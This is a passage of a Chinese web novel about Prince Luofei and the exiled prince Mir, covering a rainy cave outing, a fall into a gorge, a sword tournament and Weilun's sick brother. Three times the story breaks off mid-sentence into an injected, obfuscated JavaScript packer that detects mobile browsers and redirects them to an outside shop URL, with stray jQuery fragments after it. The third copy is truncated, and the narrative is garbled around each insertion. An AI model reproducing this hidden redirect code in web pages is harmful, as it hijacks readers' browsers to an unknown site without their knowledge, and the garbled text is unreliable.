“嗯,还好,米尔怎么样?”洛斐倒是没有太吃惊,他的身体向来如此,总是像朽木一样,一激就断,一碰就散。 但米尔不同,过敏可是很难受的。 “米尔好转了。” 薇洛希说完,让侍从们全部离开,坐到洛斐身旁。 洛斐以为是母亲放心不下他,强撑着起身,凑到薇洛希跟前,想听清楚她关心的话语。 “我问你。”薇洛希一本正经地说:“你是不是给米尔下毒了。” “……”洛斐猛地躺下。 “母亲,您说什么呢?我怎么可能做得这么过火。” “可是,你们只要在一起,就有不断的问题出现。”薇洛希不解地说:“这是不对的,你们各个方面都应当是绝配。” “绝配?”洛斐皱着眉,把薄毯拉过头顶,脑袋埋进去,声音闷闷的,“又是哪里的胡言乱语?” “总之,我不会再报复米尔了,但也不会……”洛斐将毯子往下扯了扯,露出一双落日色眼眸,淡淡地说:“绝对不会接受他。” 洛斐说狠话时最为厉害,越是在意某事和某人,情绪波动就越大。 薇洛希从小看着他长大,了解他,点点头,没拆穿,轻声嘱咐,“艾瑟兰的雨季快到了,布雷克伍平原的泥地极其容易塌陷,带洛缇公主到洞穴参观时,千万小心。” “嗯。” 雨季来临是次要,主要的是该如何坦然面对米尔。 主动出击,回答晕倒前悬而未答的问题。 默默躲避,悄无声息地推掉这次参观。 艾瑟兰王国的王子,才不会选择懦夫的路。 于是,洛斐选择了第二种。 结果扛不住莱因哈特的催促,被迫改成了第一种,成为了个不情不愿的勇士。 艾瑟兰王国天气向来准时准点,每年有两个雨季,秋末和春初,从不延误。 秋末这场雨不大,细细的,密密的,倒像是天空散落的小石子。 只是布雷克伍平原的泥土常年潮湿,有了雨水的滋润,一踩就是一个深坑,怎么看都不是前来参观的好日子。 “殿下,您的气色恢复得很好,是为这场参观做足了准备吗?”洛缇微微提着裙摆,撑着油布伞,侧过头来说。 “是的。”洛斐泰然地回答,目光飘向一旁的米尔,对方正抬眼打量四周,完全没有和他搭话的意思。 洛斐眼眸暗了暗。 ……最好谁也别搭理谁。 冒雨参观尚未完全开放的古迹已经算是勉强,更何况洛缇公主执意不带侍从,只邀请埃迪一人加入他们。 雨滴稀稀疏疏地顺着伞骨滑落,砸在洛缇展开的地图上,她用手指擦了擦晕开的墨迹,寻找在雨雾中格外隐密的路线。 埃迪则在一旁帮她,指着地图上的线条,解释布雷克伍平原的地形。 洛斐慢慢地跟在他们后面,时不时提醒一句“注意安全”。余光瞥见米尔依然心不在焉地观察周边,雨水将他半边衣服打湿也没有意识到。 洛斐默默地走到他身边,将他的伞扶正,结果没几秒钟又歪了,不是往右偏,就是往左偏。 米尔低着头,不知道在想什么,也许是没注意到,也有可能是故意不说话。 洛斐更倾向于后者。 洛斐盯着米尔的黑发,心里恼火,却又不好主动搭话,只能憋憋屈屈地一路替他撑伞到洞口。 布雷克伍平原新挖掘的洞穴很大,潮湿漆黑,有股说不清的神秘劲,王室的专业人员耗时几个月才勉强将深处的危险清干净,但目前尚没有向子民开放。 洛缇公主对这里的了解程度,不比洛斐和埃迪这两位土生土长的艾瑟兰人少。讲起来新洞穴的内容头头是道,米尔也能时不时补充些历史知识。 “我们在外面休息会,好吗?”洛缇说这话时,已经蹲着开始观察四周的泥土状况。 走了那么久,洛斐早就累了,他刚准备找棵橡树靠着歇会,却在扭头间没有看到米尔的身影。 人呢? 洛斐扒开洞穴周遭偏高的草丛,也没有发现蛛丝马迹,转头问各忙各的两人:“米尔呢?” “殿下,韦恩菲尔德大人可能是去了那边谷地。” “洛斐,不用担心。”洛缇斟酌着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536512|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 语句,轻声说:“米尔的方向感很强,他只是去逛逛早有耳闻的深溪谷地。” “现在是艾瑟兰的雨季。”洛斐看向远处另一边模糊的河谷,语气不见时的淡然,“哪怕是处于城堡也不能完全排除危险,更何况是河流喘急的谷地。” “我既然带你们来到这里,就不能让你们遇到危险。” 说完,洛斐快步跑向雨水中若隐若现的河谷,急切的神情让原本歇着的两人微微一愣。 急忙追上去,人已经没影子了。 秋末的雨确实小,洛斐跑到深溪谷地时雨滴变成了小颗粒,雨雾也不再像是薄纱那样误人视线。 可以一眼看到米尔。 “你乱跑什么?”洛斐跑到他身边,喘息在雨中凝成白气,一刻也不停地问。 米尔没想到洛斐能追到这里来,将手心的物品塞到工具包中,说:“观赏谷地的风景。” “早不看,晚也不看,只有在雨中,单独观赏才能有意境吗?米尔·韦恩菲尔德。”洛斐语气缓和,但依旧带着恼气。 “确实如此。”米尔赞同地说。 “……”洛斐拉着他衣袖往回拽,没好气地讲:“如此什么如此,淋成落汤鸡看你怎么继续如此。” 米尔垂眼看向拉住自己衣袖的手,语气轻得像雾,“遇到您真是……” 洛斐回头反问,“真是什么?” “真是次次都倒霉。” 米尔的语气和以往的客气疏远不同,和容忍谦让也不同,像是由心底生出来的放松和无奈。 对比往常,算是没礼貌的话。 但洛斐不讨厌,甚至有种关系变亲近的快感。 “嗯,那就倒霉……”洛斐话没说完,身后的地面猛地一沉,他来不及反应,抓住米尔想往旁边躲避,“小心脑袋。” 但接连不断的雨滴像是串线的珠子,将两人彻底拽进湍急的水流中。 果然,他们真是相克。 深溪河谷河流虽然急促但极浅,受不了重伤,只是会有点狼狈。 “呼……”洛斐率先从河流中冒出来,衣服被河水浸湿,他只好拖着千斤重,转身在河谷下游捞米尔。 “米尔?米尔·韦恩菲尔德?” 米尔站在岸边,看着洛斐在河里费劲地摸石头,喊着自己的名字。 他蹙了蹙眉,语气平平地说:“洛斐殿下,那块石头竟然也叫米尔·韦恩菲尔德吗?” 说着,将手递给泡在水中的洛斐,示意他上来。 洛斐借着米尔的力气上了岸,这才发现他们的处境并不乐观。 深溪河谷在布雷克伍平原边缘,离居民区很远,极少有人来,导致地形很少有人摸索。 洛斐还真不知道有这种地方。 一个谷底。 一个石壁湿漉漉的布满青苔,土质松软如泥沙的谷底。 洛斐愣住了。 倒是米尔淡然地坐到岩壁下的浅洞里,既能避雨,又能当座椅。 “殿下,先坐吧。”米尔拧着衣袍吸收的水,指了指身旁的空地。 洛斐表情复杂,他们还处于互相僵持的状态,怎么能这么简单就一笔勾销。 真是不负责。 洛斐准备一会再搭话。 “你还在厌恶我?” “没有!我没有。”洛斐本能地冲到米尔面前,说得又急又快。 米尔怔了怔,笑着说:“那你坐。” 5. 请求你 “坐就坐。” 洛斐看着湿漉漉的地面,缓缓地挪到稍微干燥些的地方坐下。又想到米尔既然问了,就该解释清楚,转头和米尔说,“我不讨厌你。” “上次晕倒是我给你添麻烦了,但那是劳累所致,并不是因为我厌恶你。” “嗯。”米尔点头,低头触摸潮湿的石块。 嗯?只是嗯? 洛斐不悦地踢了踢脚边硌人的石块,石块滚了两下,顺滑地落入河流中,随着水流不见踪迹。 米尔见刚摆好的石块全被踢走了,面无表情地又捡起身旁的石块继续垒起来。 要是说刚才的米尔像是忽然不装了,话密了,人也松了,那现在的米尔就是又端回去了,像是久违的乌龟好不容易伸出脑袋,结果又缩回去了。 洛斐见他几缕湿透的黑发贴着肩膀,干涸的水痕挂在眼角宛如泪迹。 怎么看起来那么忧伤。 洛斐抿了抿唇,起身将河边的石块全部拿过来,放在米尔身边,方便他堆成小石块山。 “你年纪轻轻的,怎么总是那么忧愁?”洛斐看不惯他这幅老成且心事重重的模样。 米尔看着那堆垒好的石块,歪歪扭扭地随时会塌,但依旧满意地收了手,朝洛斐笑着说:“殿下,二十五岁也不再年轻了。” “孩子。” “什么?” “我是说,还是孩子的年龄。” “那您才二十岁,就是刚出襁褓的婴儿?” “……” 洛斐惊叹于米尔总能角度刁钻地找出他的语言漏洞,而后狠狠地将他问住了。 也许是鲜少有人的缘故,深溪河谷的谷底空气格外清新,清润的青草香和黏滑的湿泥土味混合,香气怡人。 洛斐正仔细观察那堆石块是怎么堆砌的,米尔随口问了一句,“殿下,您认识艾琳娜夫人吗?” “认识。”洛斐干脆地回答,拿起身边的石块小心地往“小山顶”上添。 刚碰到,石块山顿时塌陷了。 洛斐回头看了一眼,见米尔没在意石块山,才放心地慢悠悠晃到他身边,说:“认识,不然小时候读的书全白费了。况且艾琳娜夫人的名字,大多数人都有所耳闻。” “当年靠她主导打造的武器,露希恩的繁荣无国能及。” “战争造就的繁华注定无法长久。”米尔垂眸道。 洛斐点了点头,无比赞同。 露希恩王国就是最有力的证明。 它的繁盛仅仅维持三年之久,国王战死,王后自尽,子民流离,王国就此破灭。 “她是我母亲。”米尔轻声说。 “嗯。” “你知道?”米尔迟疑地看向身旁的洛斐,洛斐知道他是亡国王子很正常,但却不应该知道这个亡国是遥远的露希恩。 “不小心偷听到的,父王和母后的谈话。”洛斐无意隐瞒,直白地说。 米尔被他的坦率逗笑了,眼睛弯了弯,问:“殿下那么坦诚,为什么会在意王国内毫无依据的谣言。” 洛斐有片刻的恍惚,见米尔主动提起来谣言,加上周边无人在场。他也不用为了面子来藏着掖着,刚准备好好和米尔讲清楚。 “殿下?洛斐殿下!” 人群一拥而上,噪音大到能将岩壁落下的雨滴斩断。 洛斐和米尔获救了,连衣服都没有干就获救了。 “洛斐殿下,……韦恩菲尔德大人。”维伦尴尬地打了招呼。 洛斐将收到的毛毯递给米尔,困惑地看向埃迪,满眼不解,似乎在问,这个草包怎么会出现在这里。 埃迪还在为洛斐被困的事而自责,维伦倒是变得很有眼力见,率先开口:“殿下,我来布雷克伍平原闲逛,恰好捡到了您遗落的徽章,顺着石块跌落的痕迹一路找过来,就看到了您和韦恩菲尔德大人。” 维伦的态度谦逊,语气温和且有逻辑,和前段时间在赛马会上闹事的赛维恩家小少爷两模两样。 洛斐奇怪。 赛维恩公爵的禁闭效果那么好? 米尔微微点头,朝维伦道谢,语气平常,“谢谢维伦少爷的帮助。”顿了顿,环顾了四周,又问:“今天不是赛维恩家族的追思日吗?维伦少爷怎么会有空来这里闲逛?” 维伦神情微微一滞,笑着回了句,“散心。” 米尔别有深意地点点头,怎么看都不是正常氛围。 洛斐嘴角勉强地牵了牵。 一个比一个奇怪。 秋末雨季按往常那样结束,洛缇公主心满意足地抱着新洞穴里挖掘到的物品,细心琢磨。洛斐也因此得了空闲。 这空闲他也没浪费 全部花在了米尔的屋子里,一会窝在椅子里看书,一会逗弄米尔刚养活的植株。 “殿下,你很清闲吗?”米尔盯着第五株因洛斐照顾而死掉的植物,忍无可忍地开口。 洛斐抬起头,说:“没有,很忙。” “对了,你这有历史之外的书吗?这个有点无聊。” “……” 平时洛斐这样毫无理由的挑衅,米尔都会转身忙碌,绝不会搭理。 所以,当洛斐转头看到爱喝的饮品,和稍微有趣的书籍摆放手边时,有一瞬间的怔愣。 而后,看向坐在一旁笑意盈盈的米尔,这人难得那么放松,那么好心。 洛斐不自觉地坐直了。 绝对有事,而且大概不是好事。 “你怎么了?”洛斐犹豫地问。 米尔也不隐瞒和含糊,说:“确实有一个小小的请求。” “我想去赛维恩庄园。” 洛斐猛地站起身,椅子被带着退了好几步,刺啦的响动也没压过洛斐的惊讶,“你去赛维恩庄园?” 去公爵庄园拜访不是大事。但问题是,自从赛马会一别后,哪怕赛维恩公爵表面再后悔,再懊恼。但米尔依旧成了他最讨厌的人之一,这是毋庸置疑的事实。 别人气还没消,现在去拜访无异于登门挑衅。 洛斐弯腰看着米尔的黑眼睛,严肃地问:“米尔,你是不是在找什么东西?” 米尔没有躲避视线,淡淡地说:“殿下,变聪明了。” 不是找秘密武器来谋杀贵族就好。 洛斐得到米尔的肯定回答,微微松口气,重新坐回椅子,随口问:“什么东西?” “或许是一个名字。”米尔的语气也不确定。 “艾瑟兰王国的剑术比赛即将举办,赛维恩公爵大概很乐意操持。”洛斐说着,转眼间想到要对那老古董嘘寒问暖,好言相劝,让对方心甘情愿地成为赛事总管,就感到一阵头疼。 最重要的是,他该如何不着痕迹地提起促成剑术比赛。 以前极度排斥社交和比赛的王子,现在却比谁都积极,太刻意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536513|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 洛斐既然选择了帮米尔的忙,便不会隐瞒苦恼,直截了当地说:“我不擅长剑术,也向来对赛事不感兴趣,这次却一反常态。赛维恩公爵大概会起疑心,这剑术比赛的事也会推了。” “既然如此的话,不妨拜托一下我们的朋友。”米尔手指轻敲茶杯。 洛斐迟疑地问:“洛缇公主?” “还有比他国前来参观的公主更好奇剑术比赛的吗?”米尔抿了口茶,轻声说。 洛斐晃了晃神,毫不掩饰地夸奖脱口而出,“你确实很聪明。” 米尔听惯了面前人突如其来的夸奖,淡淡地说:“殿下的剑术也并没有很差,刚柔并济,行云流水,是很多人学不来的。” 米尔轻描淡写地称赞,语气轻飘飘的。 洛斐听着,却比贵族们的恭维和客套要舒坦。 “是吗。”洛斐挪了挪位置,往椅子里靠了靠,微微扬起下巴,笑着说:“米尔,你的眼光也不错。” 米尔将目光投向书桌,不搭理他了。 “……”洛斐脑袋搭在椅背。 用完就扔。 米尔的建议成效确实可观,在议事厅内,洛斐仅仅是随口提了一句,洛缇公主对艾瑟兰王国的剑术实力很好奇。 赛维恩公爵便当即和莱因哈特请命,由他来筹办即将到来的剑术比赛。甚至把家族庄园里,号称全国最大的剑术场腾出来,用于演练和比赛。 洛斐暗自惊讶。赛维恩公爵对声誉的执着,已经到了难以想象的地步。 得益于此,洛斐少了很多麻烦和口舌。 这场计划中,他的作用仅仅是来到议事厅,事先想好的话语一句没用到,一切就大功告成了。 剑术比赛的场地,不出所料地设在赛维恩庄园的剑术场上。炎热的骄阳像是要将人烤化了,哪怕是最英勇的战士依然会汗流浃背。 好在看台各处撑起阳伞,阴凉地成片。 场地的茶水和点心种类齐全。 贵族们谈话,女眷们闲聊,子民们前来看热闹,皆有专门划分的区域。 任谁看都会由衷地夸一句,赛维恩公爵真是考虑周全,精于操办。 洛斐收紧斗篷,抬手挡着周遭的推挤,低下头,疑惑地看向面前轻扒着栏杆观察场内的米尔。 “为什么不直接落座?” 放着清凉宽敞的位置不坐,偏偏要来和子民们挤在一块,抢观看席。 米尔语气平平地说:“从前王室的剑术比赛,王子从不参加。这次却突然到来,怎么看都不对劲。何况我的目的,哪怕不参加也能达成。” “况且,这里的位置除却吵闹没有其他缺点。”米尔认真地看着比赛的一举一动,随口感慨。 “米尔,炎热和拥挤,你倒是闭口不谈。”洛斐手臂搭在他肩侧,替他挡住了绝大多数的阳光和拥挤。 所以,尽管两人前胸贴后背地挨着,米尔却依旧可以保持不受影响。 米尔专注地看向剑术场那道黄色身影,和身后负重前行,费力支撑的洛斐说:“殿下,人到了。” 洛斐看清那人的模样,皱了皱眉,不悦地问:“你找维伦?” 米尔微微往后倾斜身体,对上洛斐的视线,压低声音,“殿下,草包里面可不一定是草。” “那能是什么?” “也许是毒草药。”米尔平铺直叙地回答,目光一刻也没离开比赛场内。 6. 草包维伦? “他是不是毒草药,我尚且不清楚。但如果再这么拥挤的话,我们就快要被人潮吞了。”洛斐小声提醒道。 做事只做表面,说的就是赛维恩公爵。 王国子民们全部挤在阳光最毒烈的一片狭小区域里,离场地远远的。 不用说,也猜得到是赛维恩公爵的指示。 对外说是划分好的区域,实则是把平民赶到一边去给贵族们腾阴凉地,顺便赢得“博爱和善”的好名声。 这是他惯用的办法。 洛斐对此不屑一顾。 洛斐对这场剑术比赛也是毫无兴趣,眯着眼看场内赛况,余光瞥见米尔的后颈浮起红色。 他拍了拍米尔的肩膀,低头问:“米尔,你怕脏吗?” 米尔的视线从场地上移开,落在一脸认真的洛斐身上,不解地歪了歪头,“?……不怕。” “跟我来。”洛斐不由分说地拉住他往反方向跑。 米尔看着面前两人高的草垛,杂草乱蓬蓬地支棱着,疑惑地看向洛斐,“这就是您说的宝地?” 洛斐点了点头,利落地跑到草垛顶,踩了踩,很稳。他低头往下看,米尔仰着脸,阳光将他的黑发晕染得像墨。 洛斐抿了抿唇,手递到他眼前,说:“这边人少,视线也很好,还有阴凉处,只是……也许会染脏衣服。” 米尔握住洛斐的手腕借力,轻巧地爬了上去,一阵凉风吹来,细软的,像是旱地甘霖,清凉沁人。 这里没有拥挤的人群,只有望无边际,高不见顶的草垛山,从顶端往下望去,偌大的剑术场也能尽收眼底。 确实是块宝地。 米尔在草垛顶端坐稳,随手按压身边凌乱的杂草,不经意地问洛斐:“王子殿下也常常会来草垛看比赛吗?” “嗯。”洛斐径直坐到他身旁,揪起枯草,拿来把玩,平静地回答米尔,“小时候偷偷跑到城堡外看表演时,会这样。” “恰逢表演时,草垛就成了艾瑟兰孩子们的座椅。” 洛斐手心一空,低头见草垛快被他揪秃了,便不敢继续了,转身和米尔搭话,顺嘴问:“你不会吗?” “不会,没表演。” 露希恩亡国前的时期可谓是繁华至极,它的王子绝对不至于连表演都看不到。 按米尔的性子,大概是太用功了,连溜出城堡的空隙都没有。 洛斐望着米尔认真看向剑术场的模样,默默地肯定了自己的想法,悄悄地将揪没的草垛铺匀了。 好可怜。 剑术比赛的含金量比赛马要高些,参赛的大多数是受过专业训练的骑士,当然,也有滥竽充数的贵族少爷。 哪怕上次维伦性情大变,洛斐依旧对他提不起好感,连带着他的比赛也没有兴趣。 倒是米尔盯着远处候赛区,一刻也没移开视线。 “你找维伦做什么?”洛斐在米尔眼前挥了挥手,将他的视线强制性地拉回来。 米尔下意识地躲了躲,说:“您误会了,我的目标不是他,确切地说也许不是他。” 洛斐对米尔这种模棱两可,含糊不清的话语,早就见怪不怪了。刚准备继续看无聊的比赛。 米尔却突然问:“殿下觉得这场比赛,维伦会赢吗?” 洛斐目光落在远处,沉默了片刻,不带情绪地说:“维伦会赢。” “为什么?”米尔有些意外。 “我们小时候一起练过剑术。他那时的剑术就很不错,哪怕后来变得纨绔恶劣,但天赋也无法消磨。”洛斐不偏不倚地讲。 米尔点头赞同,看向维伦即将开始的比赛。 和维伦对阵的是个高壮男人,白白嫩嫩的维伦站在他面前,活像是未出窝的小鸡仔。 洛斐还以为这次猜错了,结果那男人看着强壮,但一出剑连基本功都不扎实了。 维伦很快占了上风。 枯燥。 大概又是赛维恩公爵找来的新手骑士,来给维伦当陪衬的,衬托赛维恩家族出神入化的剑术。 真是改不…… 洛斐低头歇息了片刻,再抬头时,场内的局势已经发生了翻天覆地的变化。 刚才处于上风的维伦,现在变得狼狈不堪。他踉跄着后退,肩膀上的血往下淌,对面的男人依然不依不挠,用剑刃反射日光,刺得维伦只能被迫防守。 洛斐瞥到场内情况,猛地坐起身,放才不屑的表情登时散了,抬头拉住米尔的袖口。 场内的高壮男人像是吃到了甜头,接连不断地借着日光作乱,剑光一闪,直冲维伦面门。 维伦偏头躲过,反射的日光晃得他眯了眯眼,反手刺中对方手腕。 剑落地,哨声响。 维伦赢了。 他利落地收剑,深深地咽口气,从比赛结束到下场离开,赛维恩公爵都安静地坐在贵族区和洛缇公主介绍庄园构造。 毫不在意儿子是伤是坏。 “疯了。”洛斐松开米尔的袖口,转头说:“赛维恩公爵真是疯了,任由参赛者借助反光伤人,且招招致命,这是犯规。” “赢了?” 米尔也被刚才的比赛惊到了,缓了缓神,对洛斐说:“殿下,我要去庄园的卧房。” 连请求也不说了,公爵庄园内的卧房是想看就能看的吗? “好。”洛斐认命地点头。 庄园的所有看守几乎全去了剑术场,剩下几人也是人在岗,心早飘到了热闹处。 洛斐还在努力回想上次来时的记忆。 米尔已经熟练地越过守卫,去到庄园主楼的三层,在最里面的胡桃木门前停下,指了指身边的廊柱。 这扇门的漆面斑驳,四周磨得发白,把手也失去了原本的光泽,透着小小的缝隙,大概是门框变形而合不拢。 房间背对着阳光格外阴暗。 侍从们的住所也不该如此。 这能是庄园大少爷的卧房? 洛斐将信将疑地跟上。 米尔黑暗中的视力不如洛斐好,他刚想拉住米尔,房间内的交谈声传了出来。 “哥,你伤还没好,别乱动。” “哥,我自己来就行,你伤口还疼吗?” 米尔静静地听着屋内的对话,洛斐自觉地将王子礼仪丢到脑后,弯腰顺着门缝往里看。 他注意到,除了处理伤口的维伦,床上还坐着一个人,眉眼和维伦有几分相似。 只是皮肤更加白皙,像是没见过半点阳光。手背和下颌处缠紧了绷带,有几处甚至渗着血,正低头帮维伦上药。 洛斐微微眯起了眼睛。 有点印象。 赛维恩公爵家的大少爷,安铎·赛维恩。 只是看起来身体状况怎么和赛维恩公爵讲述的日渐变好不同呢? 咔哒咔哒…… 脚步声突兀地响起来。 洛斐猛地回神,着急地拍了拍米尔的肩膀。结果,米尔像是毫不在意,依旧站在原地,等待这扇门的打开,以及维伦的出现。 “走了,维伦要出来了。”洛斐小声说,恨不得直接将人连根拔起地端走。 米尔只是淡淡地微笑,没有半点离开的意思。 洛斐安静地站在米尔身旁,默默地低头整理衣服,看起来不至于那么狼狈。 胡桃木门吱呀一声开了。 “殿下?……韦恩菲尔德大人?”维伦被忽然出现的两人吓了一跳,下意识将门紧紧地关上,愣了一下才开口:“你们怎么在这?” “路过。” “找你。” 洛斐望向米尔。 那人神色认真,浑然不觉自己正在拆台。 洛斐无声地叹气,改了口,“对,维伦,我们专门来找你。” 维伦谨慎地护着门,朝洛斐和米尔微微弯腰,指向远处另一间房间,轻声说:“这边请。” 维伦的房间比刚才的那间好一点,至少有阳光,不至于暗无天日。 他们一进门,维伦就直冲窗台边,低头开始调制药水,一时间屋内安静无音。 洛斐没有独自拜访他人的经历,到别人卧房的经历更是少。 他面对维伦的房间,难免略微局促。 米尔倒是坦然地找到椅子坐下,洛斐自然地走到他一旁,贴着他坐。 “还请见谅,我没有议事厅的钥匙,只能让洛斐殿下和韦恩菲尔德大人在卧房内交谈。”维伦将药水放好,苦恼地说。 “维伦少爷愿意花费时间来和我谈话,已经很感激了。”米尔轻声说。 “谢谢韦恩菲尔德大人体谅,有什么可以帮忙的吗?”维伦活动着受伤的肩膀。 “那日,维伦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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洛斐想起刚才卧房内的场景,总觉得不对劲,随口问:“如果不会使用,你找这张图纸做什么?” “为了爵位。”维伦没有隐瞒,说得直白,“赛维恩公爵对图纸丢失常常感到遗憾,如果我找它,就能获得争取爵位的资格。” 洛斐不解地蹙眉,“按照艾瑟兰王国的传统,爵位早晚会是你的。” “不会的,赛维恩公爵不会让我和哥哥继承爵位的。”维伦垂下眼,语气低落,“殿下,没有人会让一个病秧子和一个私生子得到爵位,赛维恩公爵更不会松口。” 私生子? 洛斐倒是真不知道赛维恩公爵的情史,见维伦如此被动,想必背地里的兄弟不会很少。 “不必如此忧愁,哪怕……外在因素复杂,但你依旧是爵位的第一顺位。”米尔定了定神,劝解着面前的维伦。 “不是我。”维伦摸了摸肩膀的血痕,淡淡地说:“我可以一无所有,但我哥哥不行。” “他身体一直不见好转,赛维恩公爵早已经不再给他请医了。” 维伦的手指蜷缩着,不自觉地摩挲着衣服,“我试过很多方法,惹事也好,练剑也罢,他从不看哥哥一眼,当然也不看我。” 洛斐愣住了,米尔也因为维伦断断续续的话语怔了怔,迟疑地问:“什么?” “我不能看着哥哥痛苦。”维伦声音低下去,像是自言自语,“我很爱他。” …… 剑术比赛结束得早,米尔和洛斐趁早溜出主楼,回到原来的草垛。 夕阳将草垛染得像是镀了金,侍从们将场内的物品有序地搬离。 “米尔,你怎么知道维伦不会继续寻找那张图纸?”洛斐觉得米尔的目标是图纸,随口问。 “不会的,他很聪明。”米尔看起来心情不坏,哪怕忙了好久却一无所获。 场地清空,他们不能在草垛处长久地停留。洛斐拉着米尔起身,忽然说:“我会帮他。” “怎么帮?”米尔抬眼看他,语气带着期待。 “直接给安铎找医师,药也备齐送到赛维恩庄园。” “……”米尔说:“您交给我,我来负责。” “嗯。”洛斐跳下草垛,抬手接米尔下来。 米尔俯垂眸看向洛斐,琥珀色的头发和眼眸在阳光下格外耀眼,不由地来了兴趣,笑着说:“您的头发和眼眸像是落日夕阳,琥珀珍珠那般动人。” 平日这种玩笑来不及说出口,洛斐早就扬起下巴,半高傲半羞涩了。 结果,这次只是盯着米尔,一字一句地说:“你的就像是墨玉玛瑙,黑曜石那般迷人。” 7. 你有秘密 话是洛斐说出口的,结果,夜晚翻来覆去难以入睡的也是他。 落日夕阳,琥珀珍珠…… 米尔先前说的形容比浓茶的提神功能都强。 洛斐烦躁地翻了个身。 什么琥珀珍珠,他的眼睛才不像落日夕阳,满口胡言。 绒毯滑落在地。 洛斐腾地坐起身,望向城堡早就熄了灯的廊道。 外面的夜色浓黑,城堡的侍从们早就回卧房歇息,连处理国事到最后的国王也该睡了。 如果他跑去任何地点都不会被人发现,包括去米尔的房间。 洛斐拿起外衣,抬脚就往米尔卧房走。 过了那么久的时间,维伦·赛维恩的事办得怎么样了?去看看也没什么。 冬日的夜风带着凉气,艾瑟兰王国的城堡里本就空旷。米尔又偏爱角落一隅的房间,孤零零地像是怎么走也走不到。 洛斐越走越倦,越走越犹豫。 到了米尔门前,彻底停下了。 半夜来访会不会冒犯? 明明来的时候理直气壮,甚至带点故意的打扰,可真到了门口却开始踌躇不前。 万一惊扰了对方的睡眠? 或者不请自来让对方生气了,怎么办? 米尔有起床气也不是怪事,毕竟,洛斐清晨起床时,听见丁点响声就恨不得端了城堡。 洛斐手抬了又放。 门先他一步开了。 “您……半夜来闲逛吗?”米尔倚着门框,微微倾斜脑袋,白色睡袍松松垮垮的,黑发依偎肩膀看着多了些懒散的倦意。 “我来找你。”洛斐移开视线,顿了顿说:“问问维伦·赛维恩的事情。” “您真有精气神。” 米尔讲话的语气虽不像是夸赞,但依旧利落地敞开了门。 这是他第一次夜晚进米尔的卧房,和白日来没有任何区别。 洛斐径直走向米尔的书桌,杂乱的书籍全部摊开,随意地摆放,墨汁泼洒,纸张上的字迹也难以辨别。 “米尔,你睡不着?” “怎么这么说?”米尔坐回软椅。 洛斐顺手将书桌收拾干净,认真严肃地说:“除非是要考核,或者是睡不着,我想不出谁还会翻这种书。” 米尔笑了笑,见洛斐边皱眉边收拾的模样,托着腮说:“心事重了,睡不着。” 说完,他侧躺在软椅上,闭上了眼睛,轻声说:“您放心。维伦的事情早就解决了,我借着赛马会冲突的由头,把医师和药送去了。” “我不放心。”洛斐低头盯着他。 “您不放心什么?” “你的身体。”洛斐眼睛也不眨地说。 没日没夜地不睡,又不是金鱼,谁会受得了。 况且,看枯燥的书只会徒增烦恼,才不会带来安稳的睡眠。 米尔闻声抬眸道:“殿下,我习惯了。” “你怎么能替你的身体习惯?” “你是你,你的身体是你的身体。” “明天和我去训练。” 米尔怔了一下,显然没跟上他的思路。 “艾瑟兰王子的训练和课程并不能……” “我说能就能。”洛斐语气果断,“你来就是了。” 米尔见洛斐一步也不让的架势,就知道奇奇怪怪的洛斐王子又有了独特的想法。 米尔叹口气,捂住眼睛,说:“听您的。” …… 昨晚说得多么义正言辞,次日早晨起床就多么艰难。门外侍从的呼喊声像是扯不断的丝线,在他耳边层层环绕,洛斐头缓慢地埋到毛毯里。 他宁可莱因哈特训斥他一顿,亦或者是直接闷死在床上,也不愿在寒冬里爬起来学习和训练。 “殿下,您的时间来不及了。” 侍从们焦急万分,自家王子做什么都是干脆利落,也不失随和,只是从小爱赖床是个大难题。 “如果再不起来的话,国王会责骂您的。” 喊声一阵接一阵。 洛斐强撑着坐起身,轻轻捂住脑袋。 好不容易熬到洛缇公主返程回国了,却连休息的时间都没有了。 刚准备和门外等待的人说,他脑袋有点晕,起不来。 结果,清脆的敲门声将他从晕眩中揪出来。 “洛斐殿下,您叫我来陪您训练,却迟迟不起床,昨晚的精气神呢?” 洛斐蹭地站起来,茫然地看向门口。 米尔?这就来了? 他将落地的毛毯捡起叠好放床尾,里衣,外袍,靴子一件件有序地穿好。 门从里面拉开时,洛斐已经穿戴整齐,迎着晨光站在门口了。 “早,我等你好久了,不过,你也不算太慢。”洛斐微微地斜着身子,一本正经地说。 米尔盯了他一会,上前拍了拍他翘起的头发,压了压,说:“王子也要注意形象管理,不是吗?殿下。” 洛斐顺势低头,任由他拍脑袋,语气却不善,倨傲地说:“米尔,不要只会口头逞强。论起其他,你可不一定比得过我。” “是的,我很久没有练习了。” “你看着我……练习就行。” 洛斐本意只是让米尔忙起来,或者是将生活排满,这样就不至于每日看损害精神的书籍,也能缓解半夜不能寐的毛病。 当然,他也有私心。 就是让米尔见识王子每日训练的艰苦和难熬,说不定就知难而退了。 哪怕米尔再出色,也不会真的如传闻中那样无所不能。 毕竟真是那样的话,还是人吗? “你还是人吗?”洛斐依靠着小白,震惊地问。 骑术沉稳,剑术利落。 账本过目不忘,辩才无懈可击。 枯燥难懂的典籍信口拈来,虽是临时被拐来却毫不露怯。 